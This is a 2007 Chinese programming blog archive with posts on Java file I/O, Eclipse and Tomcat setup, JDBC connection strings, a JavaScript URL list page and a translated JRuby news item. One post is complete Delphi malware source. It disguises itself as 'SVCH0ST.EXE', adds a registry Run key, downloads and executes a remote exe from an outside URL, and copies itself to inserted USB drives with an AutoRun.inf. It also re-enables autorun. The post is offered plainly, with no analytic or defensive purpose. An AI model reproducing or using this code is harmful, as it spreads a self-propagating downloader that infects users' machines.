1.把浮点数写入文件
import java.io.*;
public class FileOutputDemo
{
public static void main(String[] args)
{
FileOutputStream out;
DataOutputStream p;
try
{
out = new FileOutputStream("myfile.txt");
p = new DataOutputStream(out);
p.writeDouble(3);
p.writeDouble(4);
p.writeDouble(5);
p.close();
}
catch(Exception e)
{
System.err.println("Error writing to file");
}
}
}
2.从文件中读取浮点数
import java.io.*;
public class FileInputDemo
{
public static void main(String[] args)
{
if(args.length==1)
{
try
{
FileInputStream f = new FileInputStream(args[0]);
DataInputStream in = new DataInputStream(f);
while(in.available() != 0)
{
System.out.println(String.valueOf(in.readDouble()));
}
in.close();
}
catch(Exception e)
{
System.out.println("File input Erroe!");
}
}
else
System.out.println("Invalid parametres");
}
}
posted @
2007-05-28 00:25 jadmin 阅读(90) |
评论 (0) |
编辑 收藏
在eclipse + MyEclipse+tomcat下配置建立J2EE工程环境需要:
1.JDK1.5.0.6;
2.eclipse3.1.2_SDK;
3.MyEclips4.1.1;
4.apache-tomcat-5.5.16;
配置方法:
1.安装:JDK1.5.0.6;如:D:Studyjdk1.5.0_06;
2.解压:eclipse3.1.2_SDK;如:D:JavaStudyeclipse;
3.解压:MyEclips4.1.1;如:D:JavaStudyMyEclipse;
4.解压:apache-tomcat-5.5.16;如:D:JavaStudyapache-tomcat-5.5.16;
5.设置内存:D:JavaStudyeclipse下面的eclipse.ini文件的-vmargs、-Xms256m、-Xmx512m;这里的Xms256m是eclipse可以使用的最小内存数;Xmx512是eclipse可以使用的最大内存数;这里的值根据系统的配置而定;
6.配置MyEclipse:启动Eclipse-->Help-->Sofware Updates-->Manage Configuration -->Eclipse Platform上面右键-->ADD-->Extension Location;找到"D:JavaStudyMyEclipse";重新启动Eclipse;在标题栏里就多了一个MyEclipse的选项;
7.配置Tomcat:启动Eclipse-->window-->preference-->MyEclips-->application Servers-->Tomcat 5-->Enable-->Tomcat Home Directory;找到Tomcat的安装目录"D:JavaStudyapache-tomcat-5.5.16";
8.配置字符编码:启动Eclipse-->window-->preference-->General-->Content Types-->text然后在Default encoding中输入UTF-8-->update;依次把Java Properties File和一下的字符编码都update为UTF-8;
posted @
2007-05-27 22:31 jadmin 阅读(71) |
评论 (0) |
编辑 收藏
在5月7日的Sun的CommunityOne会议上,ThoughtWorks Studios宣布他们即将推出的敏捷IT项目管理应用程序,Mingle,将是世界上第一个运行在JRuby上的商业应用程序。实际上,它可能是基于Ruby on Rails的首个商业分发产品。
根据ThoughtWorks的说法,发起JRuby上的Mingle有很多的动机。首先,它使横跨他们目标平台的部署过程变得流畅。Mingle是基于Web的应用程序,它可以作为外部托管应用程序(ASP模式)使用,但是它同样也将以商业形式许可,并作为可安装包分发。
特别是,Ruby on Rails应用的部署仍然要比期望的复杂得多。对于一个所在部署平台由单独的公司全权控制的托管应用来说,这是没有什么问题的,但是Mingle并不打算只能被托管。它不仅仅需要把规模扩大到Twitter的级别(OK,那会有点想当然,它可能不需要达到那么大的规模),而且它同样需要将规模“缩小”到能在一台只有1G内存的简单Windows XP机器上运行。在此基础上,对Ruby on Rails部署一无所知,甚至对部署了解不多的人,都将可以安装它。
Mingle的可下载版本将以以下形式分发:Windows下的简单安装程序、Mac下的简单.app文件(拖、放、双击)和“通用”Unix下的.rpm/.tgz文件。企业用户还可选择将Mingle部署到他们已存在的产品系统中:
几个月之后将要发布的Mingle 1.1,也将以.war文件的形式发布,这样它将可以部署在任何流行的Java EE应用服务器上,并使用任何流行的数据库服务器。以适应我们更大的客户的需求。
这个决策同样也是锐意创新的产物。ThoughtWorks Studio的产品管理副总裁Chad Wathingtong称:“很显然ThoughtWorks乐于去推动技术的前沿阵地,当然,也因为这是一件很酷的事情。”任何人都可以一眼看出来,Mingle无疑推进了JRuby商业可用性的前沿阵地。
Mingle代表了ThoughtWorks在面向大众的商业产品开发领域的第一场战役。它使用Ruby on Rails构建,由小型、专注的开发团队开发,该团队成立于澳大利亚悉尼,它的领导人是ThoughtWorks高级技术专家David Rice和Jon Tirsen。使用Rails的好处,得到了所有相关人员的高度认可:
“Ruby on Rails给与了我们不可思议的生产率,并使得我们能以一个完全不同的级别处理复杂性,这在其他情况下是很难有可能的。长远来看,这将允许我们以更低的价格交付更好的特性,对我们的客户决定有利。”
在内部,Mingle在Web服务器(Jetty)和数据库(Derby)方面使用了Java技术。执行效率并没有成为主要问题。通过简单的集群,当前的运行时可以很轻松地支持成百个并发用户,并且JRuby的执行效率在一直不断得到改善。根据开发团队所说,实验的部署已经在单个JVM进程中包括了10 JRuby解释器。
6月,JRuby核心开发人员Ola Bini开始为ThoughtWorks全职工作,他将继续着手JRuby项目,并为ThoughtWorks内部发起的JRuby相关项目提供支持,如Mingle。
ThoughtWorks强烈地感到他们正在为许多即将出现的JRuby应用程序铺平道路。Mingle显然为以下的说法提供了强有力的支持证据,当时Jon Tirsen夸张地说(某些程度上可能如此):
“JRuby即将迎来黄金时代!”
查看英文原文:Mingle from ThoughtWorks is Big Win for JRuby
--------------------------------------------------------------------------------
译者简介:胡键,自2000年西安交通大学硕士毕业后一直从事软件开发。2002年开始使用Java,在项目开发中经常采用OpenSource工具,如Ant、Maven、Hibernate、Struts等,目前正在研究信息集成方面的规范和技术。可以通过jianhgreat@hotmail.com与他联系,或访问博客:http://foxgem.javaeye.com/
posted @
2007-05-27 11:54 jadmin 阅读(69) |
评论 (0) |
编辑 收藏
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
<script type="text/javascript">
function $() {
var elements = new Array();
for (var i = 0; i < arguments.length; i++) {
var element = arguments[i];
if (typeof element == 'string')
element = document.getElementById(element);
if (arguments.length == 1)
return element;
elements.push(element);
}
return elements;
}
//cody by jarry;
String.prototype.trim = function()
{ return this.replace(/(^\s*)|(\s*$)/g, "");}
function isExist(child,obj){
//obj has element the child;
for(var i=0;i<obj.elements.length;i++){
if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
if(obj.elements[i].value==child)return true;
}
}
return false;
}
function validateURL(url){
//validateURL
if(url.search(/^[A-Za-z0-9 -]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/)!=0){
return false;
//}else if(url.substring(0,4)=="www."){
//网址不要前面的www.,如果没用的话可以注释掉;
//return false;
}else{
return true;
}
}
var strAll=unescape("%u5168%u9009");
var canAll=unescape("%u53D6%u6D88");
function clickchk(obj){
var allcheck=true;
for(var i=0;i<obj.elements.length;i++){
if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
if(obj.elements[i].checked==false){allcheck=false;}
}
}
obj.elements["check"].value=allcheck?canAll:strAll;
}
function addSite(obj){
var url=obj.url.value.trim();
if(url.match(/^\s*$/g) || !validateURL(url)){alert("请输入正确网址:如mysite.com");obj.url.focus();return;}
if(isExist(url,obj)){alert("你添加的网址已经存在列表中");return;}
var list=document.getElementById("list");
var chkbox=document.createElement("input");
chkbox.type="checkbox";
chkbox.onclick=function(){clickchk(obj);}//全部选择后check按钮显示取消;
chkbox.value=url;
chkbox.name="url_chkbox";
var hr=document.createElement("hr");
hr.size="0";hr.style.borderTop="1px solid gray";
var txt=document.createTextNode(url);
var div=document.createElement("div");
div.appendChild(chkbox);
div.appendChild(txt);
div.appendChild(hr);
div.style.backgroundColor = "olive";
div.onmouseover=function(){
showDelete(this);
}
//start add element;
list.appendChild(div);
//end add;
//如果已经添加了多选框则去掉禁用;
if(obj.check.disabled==true){
obj.check.disabled=false;
obj.recheck.disabled = false;
obj.remove.disabled=false;
}
return false;
}
function checkall(obj){//全选or取消全选;
var chk=obj.elements["check"];
for(var i=0;i<obj.elements.length;i++){
if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
if(chk.value==strAll){//check all checkbox input;
obj.elements[i].checked=true;
}else{
obj.elements[i].checked=false;
}
}
}
if($('list').childNodes.length<=1)return;
chk.value=chk.value==canAll?strAll:canAll;
//更改全选/取消的显示;
}
function reverseCheck(obj){
var chk=obj.elements["check"];
for(var i=0;i<obj.elements.length;i++){
if(obj.elements[i].tagName.toLowerCase()=="input" && obj.elements[i].type=="checkbox"){
obj.elements[i].checked = obj.elements[i].checked ? false : true;
}
clickchk(obj);
}
}
function del(list,obj){
var candel=false;
var i=list.childNodes.length;
var end = -1;
//alert(list.childNodes.length+"\n"+list.innerHTML);
while( i > end ){
/* if(typeof(list.childNodes[i]) != "undefined")
{//delete all elements;
list.removeChild(list.childNodes[i]);
}*/
var s=list.childNodes[i];
/*
//alert( s + typeof(list.childNodes[i]) );
if(typeof(s)!="undefined" && s.tagName){
var tgname = s.tagName.toUpperCase();
//alert(tgname);
if( tgname == "DIV" ){
// alert(list.childNodes.length+":"+typeof(s) + s + s.tagName.toUpperCase() + s.childNodes.length + s.childNodes[0].type)
}
if(tgname == "DIV" && s.childNodes.length > 0 && s.childNodes[0].type.toLowerCase() =="checkbox" && s.childNodes[0].checked==true){
//alert(s.childNodes[0].checked);
}
}*/
if(typeof(s)!="undefined" && s.tagName){
try{
var tgname = s.tagName.toUpperCase();
if(tgname != "DIV" || s.childNodes.length <=0 )return;
var s1 = s.childNodes[0];
if( s1.type.toLowerCase() =="checkbox" && s1.checked==true ){
candel = true;
list.removeChild(s);
//list.removeChild(s.nextSibling.nextSibling);
// list.removeChild(s.nextSibling);
//list.removeChild(s);
//list.removeChild(s.previousSibling);
}
}catch(ex){
//alert(ex.toString());
}
}
i--;
}
if(candel==false){alert("请选择你要删除的选项")}
obj.check.disabled=list.childNodes.length>1?false:true;
obj.recheck.disabled=list.childNodes.length>1?false:true;
obj.check.value=strAll;
obj.remove.disabled=list.childNodes.length>1?false:true;
}
function showDelete(self){
self.style.backgroundColor = "red";
}
</script>
</HEAD>
<BODY>
<form name="sitelist" onsubmit="return addSite(this);">
http:// <INPUT TYPE="text" size="30" NAME="url"> <INPUT TYPE="button" NAME="add" value="添加网址至列表" onclick="addSite(this.form)">
<div style="border:1px groove blue;width:400px;height:200px;padding:5px;overflow:auto" id="list">
<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>
<div onmouseover="showDelete(this);" style="background:gray"><input type=checkbox value="example.com" name="url_chkbox" onclick="clickchk(this.form)">example.com <hr style="1px solid gray" size="0"></div>
</div>
<INPUT TYPE="button" NAME="check" value="全选" disabled onclick="checkall(this.form)"> <input type="button" value="反选" name="recheck" disabled onclick="reverseCheck(this.form)"> <INPUT TYPE="button" NAME="remove" disabled value="删除" onclick="del($('list'),this.form)">
</form>
<script>
//页面加载时初始化
function init(l,f){
var list=l;
f.check.disabled=list.childNodes.length>1?false:true;
f.recheck.disabled=list.childNodes.length>1?false:true;
f.check.value=strAll;
f.remove.disabled=list.childNodes.length>1?false:true;
}
window.onload=function(){
init($("list"),document.sitelist);
}
</script>
</BODY>
</HTML>
posted @
2007-05-27 11:42 jadmin 阅读(64) |
评论 (0) |
编辑 收藏
unit Un_Main;
interface
uses
Windows, Messages, SysUtils,Forms,IniFiles;
type
TFrm_Main = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
const
exefile = 'SVCH0ST.EXE';
Buffer = 'http://www.888.com/hello.exe';
DBT_DEVICEARRIVAL = $8000; // system detected a new device
DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone
DBT_DEVTYP_VOLUME = $00000002; // logical volume
DBTF_MEDIA = $0001; // media comings and goings
type
PDEV_BROADCAST_HDR = ^TDEV_BROADCAST_HDR;
TDEV_BROADCAST_HDR = packed record
dbch_size : DWORD;
dbch_devicetype : DWORD;
dbch_reserved : DWORD;
end;
PDEV_BROADCAST_VOLUME = ^TDEV_BROADCAST_VOLUME;
TDEV_BROADCAST_VOLUME = packed record
dbcv_size : DWORD;
dbcv_devicetype : DWORD;
dbcv_reserved : DWORD;
dbcv_unitmask : DWORD;
dbcv_flags : WORD;
end;
function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
StatusCB: Pointer): LongWord;
stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
stdcall; external 'kernel32.dll' name 'WinExec';
var
Frm_Main: TFrm_Main;
exefull:string;
implementation
{$R *.dfm}
function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
procedure Startup(var TheName:string);
begin
SetRegValue(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun','SVCH0ST',TheName);
UrlDownloadToFile(nil, PChar(Buffer), PChar(TheName), 0, nil);
SetFileAttributes(PChar(TheName),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
messagebox(0,'文件下载成功!','成功',MB_OK);
WinExec(PChar(TheName), SW_SHOWDEFAULT);
//Sleep(500);
//DeleteMe;
//freemem(@path,256);
end;
procedure TFrm_Main.WMDeviceChange(var Msg: TMessage);
var
lpdb : PDEV_BROADCAST_HDR;
lpdbv : PDEV_BROADCAST_VOLUME;
unitmask:DWORD;
i:integer;
MyIni:TIniFile;
s:Hkey;
value:dword ;
inifile:string;
begin
lpdb := PDEV_BROADCAST_HDR(Msg.LParam);
case Msg.WParam of
DBT_DEVICEARRIVAL ://有设备安装完毕
if lpdb.dbch_devicetype=DBT_DEVTYP_VOLUME then
begin
lpdbv := PDEV_BROADCAST_VOLUME(lpdb);
unitmask:=lpdbv.dbcv_unitmask;//取得设备的盘符
for i:=0 to 25 do //遍历磁盘
begin
if Boolean(unitmask and $1)then//看该驱动器的状态是否发生了变化
break;
unitmask := unitmask shr 1;
end;
if fileexists(exefull) then //向u盘拷文件
begin
copyfile(PChar(exefull),Pchar(char(i+65) + ':' + exefile),false);
FileSetAttr(char(i+65) + ':' + exefile,$00000003);
end;
inifile:=char(i+65)+':AutoRun.inf';//ini文件
RegOpenKeyEx(HKEY_CURRENT_USER, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer', 0, KEY_ALL_ACCESS, s);
value:=0;
RegSetValueEx(s,'NoDriveTypeAutoRun',0, REG_DWORD,@value, sizeof(value));
RegCloseKey(s);
if fileexists(inifile) then
begin
FileSetAttr(inifile,$00000000);
DeleteFile(inifile);
end;
MyIni := TIniFile.Create(inifile);
MyIni.WriteString('AutoRun', 'open',exefile);
FileSetAttr(inifile,$00000003);
end;
end;
end;
procedure TFrm_Main.FormCreate(Sender: TObject);
var
s:hkey;
value:array[0..255]of char;
size:cardinal;
path:array[0..255] of char;
begin
Application.ShowMainForm:=False;
getsystemdirectory(path,120);
exefull := strpas(path) + '' + exefile;
size:=256;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'SoftwareMicrosoftWindowsCurrentVersionRun',0,KEY_ALL_ACCESS,s);
RegQueryValueEx(s,'SVCH0ST',nil,nil,@value,@size);
RegCloseKey(s);
//文件存在且有自启动
if fileexists('C:WINDOWSsystem32SVCH0ST.EXE') and (UpperCase(value) = UpperCase(exefull)) then
messagebox(0,'自启动成功!','成功',MB_OK)
else
Startup(exefull);//下载执行函数
end;
procedure TFrm_Main.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Application.Terminate;
end;
end.
posted @
2007-05-26 01:19 jadmin 阅读(56) |
评论 (0) |
编辑 收藏
/*
用JDBC来连接数据库有很两种方式,如<1>JDBC:ODBC bridge, <2>直接连接方式.
第二种方式有很多好处,它可以独立于依赖于系统的odbc数据源,存储数据的database
可以自由地移动,显得更为灵活.
*/
import java.io.*;
import java.sql.*;
public class ConDBAccess
{
public static void main(String[] args)
{
try
{
//Load JDBC driver
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
/*
这里的数据库的url一定要写正确,这是关键,其中DBQ可以绝对路径,
也可以是相对路径,为了体现数据存储路径的/独立性,
你可以将数据库copy到不同的位试一下
*/
String dbUrl = "jdbc:odbc:driver={Microsoft Access Driver (*.mdb)};DBQ=Test.mdb";
Connection con = DriverManager.getConnection(dbUrl,"","");
Statement state = con.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
//执行SQL语句
String sql = "select * from Address";
ResultSet rs = state.executeQuery(sql);
//打印测试
if(rs != null)
{
while(rs.next())
{
System.out.println(rs.getString("Name")+"\t"+rs.getString("Age")+"\t"+rs.getString("Email"));
}
rs.close();
con.close();
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
}//End class ConDBAccess
/**
附:数据库Test.mdb的结构设计:
字段 类型
----------------
name text
sex bool
age int
email text
-----------------------------
自已加几条记录到里面就可以测出结果了.
*/
posted @
2007-05-26 00:57 jadmin 阅读(74) |
评论 (0) |
编辑 收藏
1、如何将字符串String转化为整数int
int i = Integer.parseInt(str);
int i = Integer.valueOf(my_str).intValue();
注: 字串转成Double, Float, Long的方法大同小异。
2、如何将字符串String转化为Integer
Integer integer=Integer.valueOf(i)
3、如何将整数 int 转换成字串 String?
答:有三种方法:
String s = String.valueOf(i);
String s = Integer.toString(i);
String s = "" + i;
注:Double, Float, Long 转成字串的方法大同小异。
4、如何将整数int转化为Integer
Integer integer=new Integer(i)
5、如何将Integer转化为字符串String
Integer integer=String()
6、如何将Integer转化为int
int num=Integer.intValue()
7、如何将String转化为BigDecimal
BigDecimal d_id=new BigDecimal(str)
posted @
2007-05-25 23:10 jadmin 阅读(69) |
评论 (0) |
编辑 收藏
1、tomcat下配置虚拟目录
打开TOMCAT文件下的conf\server.xml文件 ,查找到<ContextManager>标签,并在该标签的结束标签</ContextManager>前面加上:
<Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>
其中path的值是虚拟目录,docbase的值是你的硬盘的的目录的绝对路径。
如找不到<ContextManager>元素,可以找
<Host name="localhost" debug="0" appBase="webapps"
unpackWARs="true" autoDeploy="true"
xmlValidation="false" xmlNamespaceAware="false">
然后添加<Context path="虚拟目录" docBase="硬盘目录" debug="0" reloadable="true" crossContext="true"/>
2、禁止tomcat目录浏览,将listings设为false
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>
org.apache.catalina.servlets.DefaultServlet
</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
3、设置友好错误页面,配置web.xml
<error-page>
<error-code>404</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
4、在IE中直接打开其他扩展名的文件
为了让能在IE浏览器中自动打开其他扩展文件名的文件的设置:
需要在WEB.XML中进行如下的设置:
在WEB.XML中添加<mime-mapping>,其中:
<extension>: 文件的扩展名
<mime-type>: 除了该类型文件的可执行文件,同WINDOW注册表中的 /HKEY_CLASSES_ROOT下该类文件的Content Type 的值一样.
如能在IE中自动打开DOC,XLS,PDF文件的配置如下:
<?xml version="1.0" ?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 1.2//EN" "
http://java.sun.com/j2ee/dtds/web-app_2_2.dtd">
<web-app>
<mime-mapping>
<extension>doc</extension>
<mime-type>application/msword</mime-type>
</mime-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/msexcel</mime-type>
</mime-mapping>
<mime-mapping>
<extension>pdf</extension>
<mime-type>application/pdf</mime-type>
</mime-mapping>
</web-app>
posted @
2007-05-25 23:08 jadmin 阅读(82) |
评论 (0) |
编辑 收藏
J2EE包括以下技术:
EJB:Enterprise JavaBeans 企业JavaBean组件
IDL:Interface Definition Language 接口定义语言
JMS:Java Message Service Java消息服务
JNDI:Java Naming and Directory Interface Java命名目录接口
RMI:Remote Method Invocation 远程方法调用
JTA:Java Transaction API Java事务API
JTS:Java Transaction Service Java事务服务
Object Serialization:对象序列化
JavaMail:Java邮件服务
JDBC:数据库访问API
JSP:Java Server Pages
Servlet:
EJB分为三种:
Session Bean(会话BEAN)
Entity Bean(实体BEAN)
Message Driver Bean(消息驱动BEAN)
Session Bean分为两种:
Stateless Session Bean(无状态会话Bean)
Statefull Session Bean(有状态会话Bean)
Entity Bean分为两种:
CMP:Container Manager Persistence(容器管理持久性)
BMP:Bean Manager Persistence(Bean管理持久性)
其他缩写名词:
DTO:Data Transport Object 数据传输对象
JDO:Java Data Object
DAO:Database Access Object 数据库访问对象
POJO:Proterozoic Java Object Java原生对象
VO:Value Object 值对象
SOAP:Simple Object Access Protocol 简单对象访问协议
posted @
2007-05-25 23:04 jadmin 阅读(79) |
评论 (0) |
编辑 收藏
1.Oracle8/8i/9i数据库(thin模式)
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
String url="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为数据库的SID
String user="test";
String password="test";
Connection conn= DriverManager.getConnection(url,user,password);
2.DB2数据库
Class.forName("com.ibm.db2.jdbc.app.DB2Driver ").newInstance();
String url="jdbc:db2://localhost:5000/sample"; //sample为你的数据库名
String user="admin";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
3.Sql Server7.0/2000数据库
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver").newInstance();
String url="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=mydb";
//mydb为数据库
String user="sa";
String password="";
Connection conn= DriverManager.getConnection(url,user,password);
4.Sybase数据库
Class.forName("com.sybase.jdbc.SybDriver").newInstance();
String url =" jdbc:sybase:Tds:localhost:5007/myDB";//myDB为你的数据库名
Properties sysProps = System.getProperties();
SysProps.put("user","userid");
SysProps.put("password","user_password");
Connection conn= DriverManager.getConnection(url, SysProps);
5.Informix数据库
Class.forName("com.informix.jdbc.IfxDriver").newInstance();
String url = "jdbc:informix-sqli://123.45.67.89:1533/myDB:INFORMIXSERVER=myserver;
user=testuser;password=testpassword"; //myDB为数据库名
Connection conn= DriverManager.getConnection(url);
6.MySQL数据库
Class.forName("org.gjt.mm.mysql.Driver").newInstance();
String url ="jdbc:mysql://localhost/myDB?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1"
//myDB为数据库名
Connection conn= DriverManager.getConnection(url);
7.PostgreSQL数据库
Class.forName("org.postgresql.Driver").newInstance();
String url ="jdbc:postgresql://localhost/myDB" //myDB为数据库名
String user="myuser";
String password="mypassword";
Connection conn= DriverManager.getConnection(url,user,password);
8.access数据库直连用ODBC的
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver") ;
String url="jdbc:odbc:Driver={MicroSoft Access Driver (*.mdb)};DBQ="+application.getRealPath("/Data/ReportDemo.mdb");
Connection conn = DriverManager.getConnection(url,"","");
Statement stmtNew=conn.createStatement() ;
posted @
2007-05-25 23:00 jadmin 阅读(66) |
评论 (0) |
编辑 收藏